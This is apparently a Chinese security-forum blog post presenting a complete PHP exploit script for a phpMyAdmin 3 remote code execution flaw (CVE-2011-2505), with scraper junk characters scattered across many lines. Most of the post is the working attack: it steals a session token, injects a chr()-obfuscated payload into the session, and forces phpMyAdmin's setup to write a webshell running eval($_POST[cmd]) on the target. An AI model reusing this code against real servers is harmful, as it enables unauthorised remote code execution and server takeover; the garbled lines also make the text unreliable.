phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。

昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。

5 h/ [, I: _& k  x9 T首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
一是session.auto_start = 1；
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
1 O  l/ I2 N) O) i6 w0 W) G3 l当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
. B7 f. ^$ w) Y% U
在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

2 O5 v, e5 v9 T. M! M8 X! ?+ B于是写了这个php版本的exp，代码如下：

/ r( q3 p+ T! R#!/usr/bin/php
, U( d% I4 }( Y4 u7 P<?php
print_r('
+---------------------------------------------------------------------------+
8 b2 f" B) w3 apma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
; P) g) z# }+ H# E* Y: }# j; S6 Hwelcome to www.t00ls.net
mail: oldjun@gmail.com
Assigned CVE id: CVE-2011-2505
+ }. `/ @% B& Z: O+---------------------------------------------------------------------------+
');

/**
7 f2 j7 ]; J+ G  g8 T# u1 B5 u4 e * working when the directory:"config" exists and is writeable.
  v( m& i4 }  E/ z**/
" A& f! ~/ a2 u) q
$ r0 K; U6 m! Rif ($argc < 3) {
    print_r('
# t7 q3 x6 U! h9 [% l+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to pma3
$ p+ U) s2 z$ v8 e1 A) DExample:
6 q7 ?1 K# _) G6 wphp '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
4 U) H- j. @3 V, I# P/ y- ]');
# b* N! O, s; v1 ?8 `8 a3 b8 R    exit;
& O( \* f. m- h* b}

$host = $argv[1];
" h) U* ^5 B8 R5 O  r1 S* \5 O$path = $argv[2];
! [% A& H1 u2 }1 T# k
/**
: `/ h7 X! o  J* d' t1 P5 g * Try to determine if the directory:"config" exists
6 E  y/ Z8 c$ c5 z( e, I" B**/
. x! N5 P0 S$ k0 T1 H; ?( xecho "[+] Try to determine if the directory:config exists....\n";
# l6 r/ A. i; W$returnstr=php_request('config/');
7 q* q1 P: N/ mif(strpos($returnstr,'404')){
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
5 _( u% W% S, P9 s' l}
% Y% j- b% Y  u0 c# f* }3 g
/**
* Try to get token and sessionid
**/
echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
7 W% ^" }) S) J7 X1 |preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
8 R" i- i/ c! U5 N+ {. {7 n$sessionid=$resp[1];
if($token && $sessionid){
& L' L2 }; K( e) s    echo "[+] tokentoken\n";
    echo "[+] Session IDsessionid\n";
}else{
! ?& \- H0 m/ p    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
1 j% \3 D6 c% J/ [, ~}
1 c  Q: J5 L/ B
) }  q/ _5 g( E) S/**
" a$ N0 c+ Z) R& r$ l5 ` * Try to insert shell into session
**/
echo "[+] Try to insert shell into session....\n";
5 s! c: T$ T0 B" }8 _( H" Vphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.

& w' Y6 Y: m6 Y- _  O1 I; s" q; {. k/**
: u$ s$ u; v1 r3 ]2 o3 ?. ] * Try to create webshell
**/
  _& K; @; A5 c' a4 ~- {  pecho "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
  n% Y! b# D5 g# R! H/ Z$ D0 k! n/**
* Try to check if the webshell was created successfully
, x$ Y8 ^) S$ Q# |" S# `**/
: w" ?/ t; P% e2 Y# e, x' kecho "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
8 s4 ?. C3 W) U, E$ v: I$ L    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
}else{
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
" r% D. c# X4 K9 N( M4 {/ R}

) K+ u! q9 S7 d" ?& ]function php_request($url,$data='',$cookie=''){
    global  $host, $path;
( W) O/ R2 q' h6 S   
    $method=$data?'POST':'GET';
. a6 ]- N. o3 h. q   
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
4 W. e) ]  E1 \) L( P8 G/ i  |+ Q    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
% q# o- ^( x: B' c  h, T$ ?; C    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
1 z0 [) D5 \$ ^    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
, n3 z7 s% C5 w) ~& J$ }( M3 M$ D4 b6 {    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";
$ @: f! e. S, i$ N+ b1 V
    $fp = fsockopen(gethostbyname($host), 80);
    if (!$fp) {
    echo 'No response from '.$host; die;
    }
$ h) {( h0 z" n8 [! H    fputs($fp, $packet);
) j  \0 H5 m6 @
  `' t3 E6 u* [& F! a    $resp = '';

# W# _2 q6 h& T4 [# o, e" |    while ($fp && !feof($fp))
( S2 M7 \/ @2 o6 C5 I        $resp .= fread($fp, 1024);

    return $resp;
}
  h/ p3 o3 ?0 e' j   
" c8 ^0 @! z4 x! |# o?>
.